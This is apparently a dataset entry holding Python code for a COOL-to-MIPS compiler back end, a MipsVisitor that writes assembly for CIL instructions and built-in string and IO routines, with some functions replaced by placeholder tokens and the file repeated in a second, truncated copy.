__init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, 